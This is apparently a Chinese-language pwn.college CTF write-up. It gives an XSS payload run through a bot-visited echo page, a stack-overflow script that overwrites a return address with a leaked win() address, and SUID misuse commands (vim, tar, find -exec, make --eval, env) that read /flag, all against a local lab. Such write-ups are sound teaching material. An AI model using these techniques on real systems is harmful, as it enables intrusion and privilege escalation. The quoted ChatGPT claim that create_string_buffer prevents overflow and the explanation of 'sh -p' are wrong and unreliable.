return " ".join(info) + "\n"
if request.path == "/visit":
url = request.args.get("url")
assert url, "Missing `url` argument"
url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"
with run_browser() as browser:
browser.get(f"http://{challenge_host}/login")
user_form = {
"username": "flag",
"password": flag,
}
for name, value in user_form.items():
field = browser.find_element(By.NAME, name)
field.send_keys(value)
submit_field = browser.find_element(By.ID, "submit")
submit_field.submit()
WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))
browser.get(url)
time.sleep(1)
return "Visited\n"
if request.path == "/echo":
echo = request.args.get("echo")
assert echo, "Missing `echo` argument"
return html(echo)
return "Not Found\n", 404
这个也是不需要服务器的,和13的区别在于删去了http session那句话,也就是说不能读取出来然后在使用比如curl等方式传递这个cookie了,但是可以直接在js之中调用,也就是说,这个答案和level13是一样的!
import requests
r = requests.get('http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=<img src = "n" id="n"><script>var xhttp = new XMLHttpRequest();xhttp.open("GET","http://challenge.localhost/info?user=1",true);xhttp.onreadystatechange = function(){document.getElementById("n").src = this.responseText;};xhttp.send();</script>').content.decode()
print(r.text)
然后还是在get之中
GET /flag%20pwn.college{geCA9st3ZYLR66SVt816em8X9HG.dBDM0MDL2QjMyMzW}
level15 Exploit a (memory corruption) stack injection vulnerability
def level15():
if "libgreet" not in globals():
global libgreet
shared_library_file = tempfile.NamedTemporaryFile("x", suffix=".so")
gcc_args = ["/usr/bin/gcc", "-x", "c", "-shared", "-fPIC", "-fno-stack-protector", "-o", shared_library_file.name, "-"]
subprocess.run(gcc_args, input=r"""
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
void __attribute__ ((constructor)) disable_buffering(void) {
setvbuf(stdout, NULL, _IONBF, 0);
}
void win(void)
{
char flag[256] = { 0 };
int flag_fd;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
read(flag_fd, flag, sizeof(flag));
puts(flag);
}
void * win_address(void)
{
return win;
}
void greet(char *name, size_t length)
{
char buffer[256] = { 0 };
memcpy(buffer, "Hello, ", 7);
memcpy(buffer + 7, name, length);
memcpy(buffer + 7 + length, "!", 1);
puts(buffer);
}
""".encode())
libgreet = ctypes.CDLL(shared_library_file.name)
libgreet.win_address.restype = ctypes.c_void_p
if request.path == "/win_address":
return f"{hex(libgreet.win_address())}\n"
if request.path == "/greet":
name = request.args.get("name")
assert name, "Missing `name` argument"
def stream_greet():
r, w = os.pipe()
pid = os.fork()
if pid == 0:
os.close(r)
os.dup2(w, 1)
name_buffer = ctypes.create_string_buffer(name.encode("latin"))
libgreet.greet(name_buffer, len(name))
os._exit(0)
os.close(w)
while True:
data = os.read(r, 256)
if not data:
break
yield data
os.wait()
return stream_greet()
return "Not Found\n", 404
很好,再次求助chatgpt:
这段代码定义了一个名为 level15() 的函数,它似乎是一个 Flask 路由处理程序。这个函数的作用是:
如果 libgreet 不在全局变量中,则使用 GCC 编译器编译一个共享库,并将其加载到 libgreet 变量中。这个共享库包含一个名为 win() 的函数,它会读取 /flag 文件并将其内容输出为标准输出流;还包含一个名为 greet() 的函数,它会将一个字符串参数作为问候语输出到标准输出流。这个共享库还包含一个名为 win_address() 的函数,它会返回 win() 函数的地址。
如果请求的路径为 /win_address,则返回 win() 函数的地址。
如果请求的路径为 /greet,则从请求参数中获取一个名为 name 的字符串参数,并使用 greet() 函数向客户端发送一条问候语。为了避免缓冲区溢出等安全问题,它使用了 ctypes.create_string_buffer() 函数来创建一个名为 name_buffer 的缓冲区,并将其传递给 greet() 函数。为了将 greet() 函数的输出流与客户端的响应流相连接,它使用了 Unix 管道和子进程来实现流式输出。
如果请求的路径不是 /win_address 或 /greet,则返回一个 404 响应。
总体来说,这个函数似乎是一个非常危险的路由处理程序,因为它使用了动态编译和加载共享库的技术,并且使用了 Unix 管道和子进程来实现流式输出。这些技术都可能会导致安全漏洞,例如缓冲区溢出、代码注入、代码执行等问题。建议谨慎使用这种技术,并且在使用时应该加强安全性的措施。
其实这个是很简单的shellcode。
hacker@web-security-level-15:~$ curl challenge.localhost/win_address
0x7fa506d8f1c5
hacker@web-security-level-15:~$
首先,在源码里没有win函数的地址,因此我们需要curl一下,然后拿到这个地址
hacker@web-security-level-15:~$ curl challenge.localhost/win_address
0x7fa506d8f1c5
然后,写脚本,逐步增加a的数量,希望逐渐增加 name 参数的长度。当 name 参数的长度达到一定值时,就会覆盖 greet() 函数的返回地址,
import requests
for i in range (250,270):
address = ("a"*i + "\xc5\xf1\xd8\x06\xa5\x7f\x00\x00")
params = {"name": address.encode("utf-8")}
r = requests.get("http://challenge.localhost/greet",params=params)
if "win" in r.text:
print(r.text)
拿到flag
hacker@web-security-level-15:~$ python test.py
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÅñØ¥
You win! Here is your flag:
pwn.college{EHqxRFRVOPcCUXWv8Sf1Qk3NLxi.dFDM0MDL2QjMyMzW}
hacker@web-security-level-15:~$
事实上打印了一下i发现是257 ,也就是说win函数紧挨着greet函数,可能这是题目故意设置的吧hhh。
level1
直接使用python内置的base64模块进行解码。
import base64
# Base64-encoded string
base64_string = "cHduLmNvbGxlZ2V7Z0dBNWR1UjdUVnJmYno5d0lweThmS1VnS1FrLmROek56TURMMlFqTXlNeld9Cg=="
# Decode the string to bytes
base64_bytes = base64_string.encode('ascii')
message_bytes = base64.b64decode(base64_bytes)
# Decode the bytes to UTF-8 string
message = message_bytes.decode('utf-8')
print(message)
ref
Base64编码和解码是一种将二进制数据转换为可打印ASCII字符格式的方法。该算法基于64个不同字符的子集,由大小写字母、数字、加号和正斜杠组成。
Base64编码的过程如下:
- 将输入的二进制数据按每6个比特进行分组
- 将每个6比特组转换为相应的Base64字符
- 如果剩余比特数不足6比特,则使用等号(
=
)补齐。
例如,将ASCII字符Man
进行Base64编码,可以按以下方式进行:
ASCII字符: M a n
ASCII码(二进制) 01001101 01100001 01101110
6比特分组: 010011 010110 000101 101110
Base64字符: S m F u
因此,Man
的Base64编码为SmFu
。
Base64解码过程如下:
- 将Base64编码的字符串转换为对应的二进制数据
- 将二进制数据按每8个比特进行分组
- 将每个8比特组转换为相应的ASCII字符
例如,将SmFu
进行Base64解码,可以按以下方式进行:
Base64字符: S m F u
6比特分组: 010011 010110 000101 101110
ASCII码(二进制) 01001101 01100001 01101110
ASCII字符: M a n
因此,SmFu
的Base64解码为Man
。
Base64编码和解码是一种常用的技术,用于在网络应用程序中传输二进制数据。通过编码二进制数据,可以确保它们传输时避免出现特殊字符或不受支持的格式。
level2
import base64
key_str = "xMQGl4LY1hyH7Khz155o3MedyLAedmm3H56HBvCvQHlzUkuTklt4ejKly8iRul/MH0kTNBGYpPGK3Q=="
ciphertext_str = "tLNoueG3unDii80I4/YptLXTj+NPJz7SZc7PWajGIREGIXvQ5ygwVFb3sYbr9xuALRh5eWjV3qb31w=="
# 解码密钥和密文
key = base64.b64decode(key_str)
ciphertext = base64.b64decode(ciphertext_str)
# 对密文使用密钥进行异或操作
plaintext = bytearray(len(ciphertext))
for i in range(len(ciphertext)):
plaintext[i] = ciphertext[i] ^ key[i % len(key)]
# 将获得的字节序列转换为字符串
original_text = plaintext.decode('utf-8')
print(original_text)
CSE466
fall22
模块总结
program misuse
这个模块比较基础,大部分是让你认识linux下的各种工具。对新人(指至少熟悉其中部分工具但没接触过CTF的人)来说应该启发很大,很多工具虽然设计出来并不是为了读取文件内容,但是由于其支持调试、输出错误信息、甚至是调用其他程序等种种运行方式,你可以通过这些方法得到文件内容。其实我认为这是让你关注那些工具不常用的功能,比如我一直在使用tldr,但tldr之中没有不常用的参数,因此做了几个题以后就不太适合这个挑战了。同时,作为CTF人,应该对权限很敏感,在一个工具有suid的情况下,深挖这个工具。我想这就是这个模块所能带来的启发了。
讲解
YOUTUBE上pwn college上传了老师的讲解,大多数很细致,少部分没有完成给出过程,但都有思路,需要自己去实现。其实在实现了之后发现也就是这么回事儿,但是思考的过程有时候是痛苦的。
我参考过的所有链接
- 一个博主
- 一个做了不少的同学
- 一个不算特别具体的wp
- 有一点点
- 也不太多
- 一个老哥记录的自己不会的题,无具体wp
- 只有babyshell
- 部分题解
- 一个神奇的老哥,全是笔记,没有wp
- 微信公众号文章,只有misuse部分
很多题,不同人的解法真是不一样,可以多看看,参考着做,会有启发的。
knowledge
基本知识
linux、命令行、进程、文件系统、目录、软连接和硬链接、路径(绝对、相对)、管道、重定向
ref
关于软连接,这里有几个不错的参考
然后是权限、提权的内容
这里需要明白权限、用户、用户组这些概念,以及非常非常重要的uid gid等内容
SUID: execute with the eUID of the file owner rather than the parent process.
SGID: execute with the eGID of the file owner rather than the parent process.
Sticky: used for shared directories to limit file removal to file owners.
Three different type of user and group IDs:
Effective (eUID, eGID): the UID/GID used for most access checks.
Real (UID, GID): the "real" UID (or GID) of the process owner, used for things such as signal checks.
Saved: a UID/GID that your process could switch its eUID/eGID to. Used for temporarily dropping privileges.
ref
challenges
useful shell
#!/bin/bash
# 进入/challenge目录
cd /challenge
# 获取该目录下唯一的文件名
filename=$(ls)
# 执行该文件
./$filename
then
sh filename.sh
level1 Lets you directly read the flag!
hacker@program-misuse-level-1:/challenge$ ./babysuid_level1
Welcome to ./babysuid_level1!
This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.
I just set the SUID bit on /usr/bin/cat.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level1) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/cat!
hacker@program-misuse-level-1:/challenge$
已经给我uid了,然后我直接读取即可
hacker@program-misuse-level-1:/$ ls
bin boot challenge dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
hacker@program-misuse-level-1:/$ cat flag
pwn.college{gtmGRqQdewLiKKwB2Wi1NeBxX3w.01M0EDL2QjMyMzW}
hacker@program-misuse-level-1:/$
level2 Lets you directly read the flag!
hacker@program-misuse-level-2:/challenge$ ./babysuid_level2
Welcome to ./babysuid_level2!
This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.
I just set the SUID bit on /usr/bin/more.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level2) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/more!
hacker@program-misuse-level-2:/challenge$
这个是用 more
读取
hacker@program-misuse-level-2:/challenge$ more /flag
pwn.college{g0orxg7_IfgidrE5G2scOM8wdRx.0FN0EDL2QjMyMzW}
hacker@program-misuse-level-2:/challenge$
level3 Lets you directly read the flag!
hacker@program-misuse-level-3:/challenge$ ./babysuid_level3
Welcome to ./babysuid_level3!
This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.
I just set the SUID bit on /usr/bin/less.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level3) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/less!
hacker@program-misuse-level-3:/challenge$
这次是用less
hacker@program-misuse-level-3:/challenge$ less /flag
pwn.college{onJWxeGXCk8o-LqXlLemr-Xzk2W.0VN0EDL2QjMyMzW}
/flag (END)
less比more好用,记得使用q退出
level4 Lets you directly read the flag!
hacker@program-misuse-level-4:/challenge$ ./babysuid_level4
Welcome to ./babysuid_level4!
This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.
I just set the SUID bit on /usr/bin/tail.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level4) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/tail!
hacker@program-misuse-level-4:/challenge$
用tail
hacker@program-misuse-level-4:/challenge$ tail /flag
pwn.college{8A8n6zzy-sUTn179ZADopx1lzFV.0lN0EDL2QjMyMzW}
hacker@program-misuse-level-4:/challenge$
我现在猜下一个用head
level5 Lets you directly read the flag!
hacker@program-misuse-level-5:~$ sh file.sh
Welcome to ./babysuid_level5!
This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.
I just set the SUID bit on /usr/bin/head.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level5) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/head!
hacker@program-misuse-level-5:~$
果然用head
hacker@program-misuse-level-5:~$ head /flag
pwn.college{wVl3wFV0tMkY6rAFaMWKvEoOt2R.01N0EDL2QjMyMzW}
hacker@program-misuse-level-5:~$
level6 Lets you directly read the flag!
hacker@program-misuse-level-6:~$ sh file.sh
Welcome to ./babysuid_level6!
This challenge is part of a series of programs that
exposes you to very simple programs that let you directly read the flag.
I just set the SUID bit on /usr/bin/sort.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level6) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/sort!
hacker@program-misuse-level-6:~$ sort /flag
pwn.college{wRB7HgX_kvB4Uro33D7t1UKWZcE.0FO0EDL2QjMyMzW}
hacker@program-misuse-level-6:~$
这次居然是用sort
这里做一个小总结,以上这几个工具都非常常用,而且经常是组合使用的,建议使用man
阅读手册,然后多尝试搭配使用。
level7 Shows you that an over-privileged editor is a very powerful tool!
hacker@program-misuse-level-7:~$ sh file.sh
Welcome to ./babysuid_level7!
This challenge is part of a series of programs that
shows you that an over-privileged editor is a very powerful tool, indeed.
I just set the SUID bit on /usr/bin/vim.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level7) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/vim!
hacker@program-misuse-level-7:~$ vim /flag
从标题能看出来是用某种编辑工具,这次是vim
pwn.college{YA-02bwpz2aH0bVuFckXnVUE_a8.0VO0EDL2QjMyMzW}
我猜后边儿得有nano emacs等等
level8 Shows you that an over-privileged editor is a very powerful tool!
hacker@program-misuse-level-8:~$ sh file.sh
Welcome to ./babysuid_level8!
This challenge is part of a series of programs that
shows you that an over-privileged editor is a very powerful tool, indeed.
I just set the SUID bit on /usr/bin/emacs.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level8) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/emacs!
果然不出我所料hhh
pwn.college{sCKRHf2_yRVb3Q_MEPjyLzcoqdN.0FM1EDL2QjMyMzW}
emacs也是一个强大的工具,可以学一学。
这里退出命令是
level9 Shows you that an over-privileged editor is a very powerful tool!
hacker@program-misuse-level-9:~$ sh file.sh
Welcome to ./babysuid_level9!
This challenge is part of a series of programs that
shows you that an over-privileged editor is a very powerful tool, indeed.
I just set the SUID bit on /usr/bin/nano.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level9) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/nano!
hacker@program-misuse-level-9:~$ nano /flag
我果然料事如神
pwn.college{w4DHxmYT2HQw-wrXkHpQXqNmIWW.0VM1EDL2QjMyMzW}
退出命令是
level10 Requires you to understand their output to derive the flag from it!
一句题外话,不同挑战之间无缝切换好快啊,很适合Linux直接用terminal链接!
hacker@program-misuse-level-10:~$ sh file.sh
Welcome to ./babysuid_level10!
This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.
I just set the SUID bit on /usr/bin/rev.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level10) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/rev!
rev
是反序输出的工具
但是难不住我
hacker@program-misuse-level-10:~$ rev /flag
}WzMyMjQ2LDE1Ml0.iqRmReNkY5WaIyBZQULv-MYk7kI{egelloc.nwp
hacker@program-misuse-level-10:~$ rev /flag | rev
pwn.college{Ik7kYM-vLUQZByIaW5YkNeRmRqi.0lM1EDL2QjMyMzW}
hacker@program-misuse-level-10:~$
level11 Requires you to understand their output to derive the flag from it!
hacker@program-misuse-level-11:~$ sh file.sh
Welcome to ./babysuid_level11!
This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.
I just set the SUID bit on /usr/bin/od.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level11) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/od!
od
通常用于以八进制或十六进制格式显示文件的内容。
hacker@program-misuse-level-11:~$ od -A x -t x1z -v /flag
000000 70 77 6e 2e 63 6f 6c 6c 65 67 65 7b 73 4b 47 35 >pwn.college{sKG5<
000010 6d 6b 70 75 44 35 38 63 71 76 44 65 33 32 39 4e >mkpuD58cqvDe329N<
000020 57 6c 4f 36 31 41 39 2e 30 31 4d 31 45 44 4c 32 >WlO61A9.01M1EDL2<
000030 51 6a 4d 79 4d 7a 57 7d 0a >QjMyMzW}.<
000039
hacker@program-misuse-level-11:~$
看了文档就会了,这个命令直接写在文档里。
pwn.college{sKG5mkpuD58cqvDe329NWlO61A9.01M1EDL2QjMyMzW}
level12 Requires you to understand their output to derive the flag from it!
Welcome to ./babysuid_level12!
This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.
I just set the SUID bit on /usr/bin/hd.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level12) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/hd!
奇怪的hd
工具,十六进制的。
hacker@program-misuse-level-12:~$ hd /flag
00000000 70 77 6e 2e 63 6f 6c 6c 65 67 65 7b 6f 47 7a 69 |pwn.college{oGzi|
00000010 37 55 30 32 58 54 6c 5f 64 73 6e 50 43 77 73 42 |7U02XTl_dsnPCwsB|
00000020 52 38 6d 59 54 77 6d 2e 30 46 4e 31 45 44 4c 32 |R8mYTwm.0FN1EDL2|
00000030 51 6a 4d 79 4d 7a 57 7d 0a |QjMyMzW}.|
00000039
hacker@program-misuse-level-12:~$ man hd
这里已经可以直接复制了,但是希望有更简便的形势,去看了文档,但是没太研究明白,瞎整了一个输出
hacker@program-misuse-level-12:~$ hd -f /flag
hd: "pwn.college{oGzi7U02XTl_dsnPCwsBR8mYTwm.0FN1EDL2QjMyMzW}": bad format
hacker@program-misuse-level-12:~$
level13 Requires you to understand their output to derive the flag from it!
Welcome to ./babysuid_level13!
This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.
I just set the SUID bit on /usr/bin/xxd.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level13) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/xxd!
xxd
,是个二进制的工具。这个我会
hacker@program-misuse-level-13:~$ xxd /flag
00000000: 7077 6e2e 636f 6c6c 6567 657b 4d56 2d59 pwn.college{MV-Y
00000010: 6e5f 3465 4777 6c63 6f49 5438 4a63 574a n_4eGwlcoIT8JcWJ
00000020: 6934 7764 2d53 692e 3056 4e31 4544 4c32 i4wd-Si.0VN1EDL2
00000030: 516a 4d79 4d7a 577d 0a QjMyMzW}.
然后手动复制…
pwn.college{MV-Yn_4eGwlcoIT8JcWJi4wd-Si.0VN1EDL2QjMyMzW}
level14 Requires you to understand their output to derive the flag from it!
hacker@program-misuse-level-14:~$ sh file.sh
Welcome to ./babysuid_level14!
This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.
I just set the SUID bit on /usr/bin/base32.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level14) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/base32!
base32
都出来了,就一个参数 -d
hacker@program-misuse-level-14:~$ base32 /flag
OB3W4LTDN5WGYZLHMV5UCT3NM4ZWGTLYK5YV6SCVOR2XC5CSMF4WM6LML5UWE4ZOGBWE4MKFIRGD
EULKJV4U26SXPUFA====
hacker@program-misuse-level-14:~$ base32 /flag | base32 -d
pwn.college{AOmg3cMxWq_HUtuqtRayfyl_ibs.0lN1EDL2QjMyMzW}
hacker@program-misuse-level-14:~$
那我猜下一个是base64
level15 Requires you to understand their output to derive the flag from it!
hacker@program-misuse-level-15:~$ sh file.sh
Welcome to ./babysuid_level15!
This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.
I just set the SUID bit on /usr/bin/base64.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level15) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/base64!
hacker@program-misuse-level-15:~$
嘿嘿,果然
hacker@program-misuse-level-15:~$ base64 /flag | base64 -d
pwn.college{QvvMGkZ_gpVBCBw1u5dYReqKajl.01N1EDL2QjMyMzW}
hacker@program-misuse-level-15:~$
level16 Requires you to understand their output to derive the flag from it!
hacker@program-misuse-level-16:~$ sh file.sh
Welcome to ./babysuid_level16!
This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.
I just set the SUID bit on /usr/bin/split.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level16) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/split!
split
是一个分块的工具,但是由于题中的flag很小,还达不到它默认的限度(默认参数需要看手册),因此在运行
split /flag
之后,就会在文件夹之下有个输出文件。
hacker@program-misuse-level-16:~$ cat xaa
pwn.college{oqsgCLV3hcD9AXs5bELwauYQHup.0FO1EDL2QjMyMzW}
小总结,除了最近基本的进制、ascii等,base32和base64最好可以了解一下这两种编码方式
level17 Forces you to understand different archive formats!
hacker@program-misuse-level-17:~$ sh file.sh
Welcome to ./babysuid_level17!
This challenge is part of a series of programs that
force you to understand different archive formats.
I just set the SUID bit on /usr/bin/gzip.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level17) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/gzip!
牛马的gzip
,压缩和解压缩,看来后几个都是这个意思
然后开始秒题
hacker@program-misuse-level-17:~$ gzip -f /flag -t
hacker@program-misuse-level-17:~$ ls /
bin challenge etc home lib32 libx32 mnt proc run srv tmp var
boot dev flag.gz lib lib64 media opt root sbin sys usr
hacker@program-misuse-level-17:~$ gzip -cd /flag.gz
pwn.college{QHVq0GV7-f7QFzzNe2jTzkeq6T8.0VO1EDL2QjMyMzW}
hacker@program-misuse-level-17:~$
level18 Forces you to understand different archive formats!
开始无聊起来了。。。
hacker@program-misuse-level-18:~$ sh file.sh
Welcome to ./babysuid_level18!
This challenge is part of a series of programs that
force you to understand different archive formats.
I just set the SUID bit on /usr/bin/bzip2.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level18) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/bzip2!
然后和上面的命令完全一样,就是压缩的格式和算法不同了
hacker@program-misuse-level-18:~$ bzip2 -f /flag
hacker@program-misuse-level-18:~$ ls /
bin challenge etc home lib32 libx32 mnt proc run srv tmp var
boot dev flag.bz2 lib lib64 media opt root sbin sys usr
hacker@program-misuse-level-18:~$ bzip2 -cd /flag.bz2
pwn.college{wkf3JjpEoyTnVUz5mUbAtllNMRn.0FM2EDL2QjMyMzW}
hacker@program-misuse-level-18:~$
level19 Forces you to understand different archive formats!
Welcome to ./babysuid_level19!
This challenge is part of a series of programs that
force you to understand different archive formats.
I just set the SUID bit on /usr/bin/zip.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level19) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/zip!
这几个题可有点儿烦人了啊!
hacker@program-misuse-level-19:~$ cat /flag.zip
PK
V3199flagUT �dBdux
pwn.college{YFFLGakdSzjIgW7btl64EaiEyDf.0VM2EDL2QjMyMzW}
PK
V3199flagUT�dux
PKJwhacker@program-misuse-level-19:~$
正确的方式应该是先解压,但是貌似能直接看,我就没管
level20 Forces you to understand different archive formats!
hacker@program-misuse-level-20:~$ sh file.sh
Welcome to ./babysuid_level20!
This challenge is part of a series of programs that
force you to understand different archive formats.
I just set the SUID bit on /usr/bin/tar.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level20) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/tar!
tar
比较常见。
hacker@program-misuse-level-20:~$ tar cf /flag.tar /flag
tar: Removing leading `/' from member names
hacker@program-misuse-level-20:~$ ls /
bin challenge etc flag.tar lib lib64 media opt root sbin sys usr
boot dev flag home lib32 libx32 mnt proc run srv tmp var
hacker@program-misuse-level-20:~$ cat /flag.tar
flag0000400000000000000000000000007114456374677010423 0ustar rootrootpwn.college{YNojFHYmMjDXxa2MP_mFcpOEIIo.0lM2EDL2QjMyMzW}
hacker@program-misuse-level-20:~$
好像都可以直接用cat看压缩包,那么就比较简单了
level21 Forces you to understand different archive formats!
hacker@program-misuse-level-21:~$ sh file.sh
Welcome to ./babysuid_level21!
This challenge is part of a series of programs that
force you to understand different archive formats.
I just set the SUID bit on /usr/bin/ar.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level21) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/ar!
ar
工具,集合很多文档存成一个文档的工具
hacker@program-misuse-level-21:~$ ar rs /flag.a /flag
ar: creating /flag.a
hacker@program-misuse-level-21:~$ cat /flag.a
!<arch>
flag/ 0 0 0 644 57 `
pwn.college{0vq28yii-jRYCSQP_DtM3bkf8ee.01M2EDL2QjMyMzW}
hacker@program-misuse-level-21:~$
level22 Forces you to understand different archive formats!
hacker@program-misuse-level-22:~$ sh file.sh
Welcome to ./babysuid_level22!
This challenge is part of a series of programs that
force you to understand different archive formats.
I just set the SUID bit on /usr/bin/cpio.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level22) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/cpio!
cpio
工具,用于文件备份的
hacker@program-misuse-level-22:~$ find /flag | cpio -ov > archive.cpio
/flag
1 block
hacker@program-misuse-level-22:~$ ls /
bin challenge etc home lib32 libx32 mnt proc run srv tmp var
boot dev flag lib lib64 media opt root sbin sys usr
hacker@program-misuse-level-22:~$ ls
Desktop Downloads Pictures Templates archive.cpio file.sh
Documents Music Public Videos core test.py
hacker@program-misuse-level-22:~$ cat archive.cpio
�wd�9/flagpwn.college{om324dLj5vHeY7kTe9p_qAFQ1Cy.0FN2EDL2QjMyMzW}
�
TRAILER!!!hacker@program-misuse-level-22:~$
level23 Forces you to understand different archive formats!
hacker@program-misuse-level-23:~$ sh file.sh
Welcome to ./babysuid_level23!
This challenge is part of a series of programs that
force you to understand different archive formats.
I just set the SUID bit on /usr/bin/genisoimage.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level23) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/genisoimage!
genisoimage
工具,能看出来作用是建立ISO 9660映像文件
er@program-misuse-level-23:~$ genisoimage -sort /flag
genisoimage: Incorrect sort file format
pwn.college{YROFw7Q_KvLF86Vs3WeI_XDvziT.0VN2EDL2QjMyMzW}
hacker@program-misuse-level-23:~$
这块儿好像cat不太星了,输出会打乱shell
小总结:倒是知道了很多以前不知道的工具。
level24 Enables you to read flags by making them execute other commands!
sh hacker@program-misuse-level-24:~$ sh file.sh
Welcome to ./babysuid_level24!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/env.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level24) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/env!
开始有意思起来了。
hacker@program-misuse-level-24:~$ env cat /flag
pwn.college{8rPxiO1f2sBGHUvcT83glFWNSpM.0lN2EDL2QjMyMzW}
hacker@program-misuse-level-24:~$
env可以给其他的程序赋权?感觉是这个意思,当然出题人想要的意思应该是需要先设一个shell,然后执行。
level25 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-25:~$ sh file.sh
Welcome to ./babysuid_level25!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/find.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level25) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/find!
使用find
hacker@program-misuse-level-25:~$ find / -type f -name "flag" -exec cat {} \;
pwn.college{Uomlfru_u94ZuszsvlNzA0n6x39.01N2EDL2QjMyMzW}
hacker@program-misuse-level-25:~$
这里需要考虑的是find只是找到,如何读取?
- 使用
-exec
level26 Enables you to read flags by making them execute other commands!
hacker@program-misuse-level-26:~$ sh file.sh
Welcome to ./babysuid_level26!
This challenge is part of a series of programs that
will enable you to read flags by making them execute other commands.
I just set the SUID bit on /usr/bin/make.
Try to use it to read the flag!
IMPORTANT: make sure to run me (./babysuid_level26) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/make!
有点儿意思啊,直接出现了GNU Make了
hacker@program-misuse-level-26:~$ COMMAND='cat /flag';make -s --eval=$'x:\n\t-'"$COMMAND"
pwn.college{oYDGLL2PogQjUYR2TV30VTUm-4z.0FO2EDL2QjMyMzW}
hacker@program-misuse-level-26:~$
这个搜了一下,然后不光查到了正确答案还发现自己做错了,出题人想要的是 sh -p 这样提权
这个命令的作用是启动一个新的shell进程,并将该进程的环境变量设置为当前shell进程的环境变量。 具体来说,这个命令包含以下部分: env:这是一个用于执行命令时设置环境变量的工具。在这个命令中,它用于将当前shell进程的所有环境变量传递给新的shell进程。
sh:这是一个用于启动shell进程的命令。在这个命令中,它用于启动一个新的shell进程。
-p:这是一个选项,用于告诉新的shell进程将其环境变量设置为当前shell进程的环境变量。具体来说,它会将当前shell进程的环境变量从环境变量文件(如/etc/environment、/etc/profile、~/.bashrc等)中读取,并将其设置为新的shell进程的环境变量。
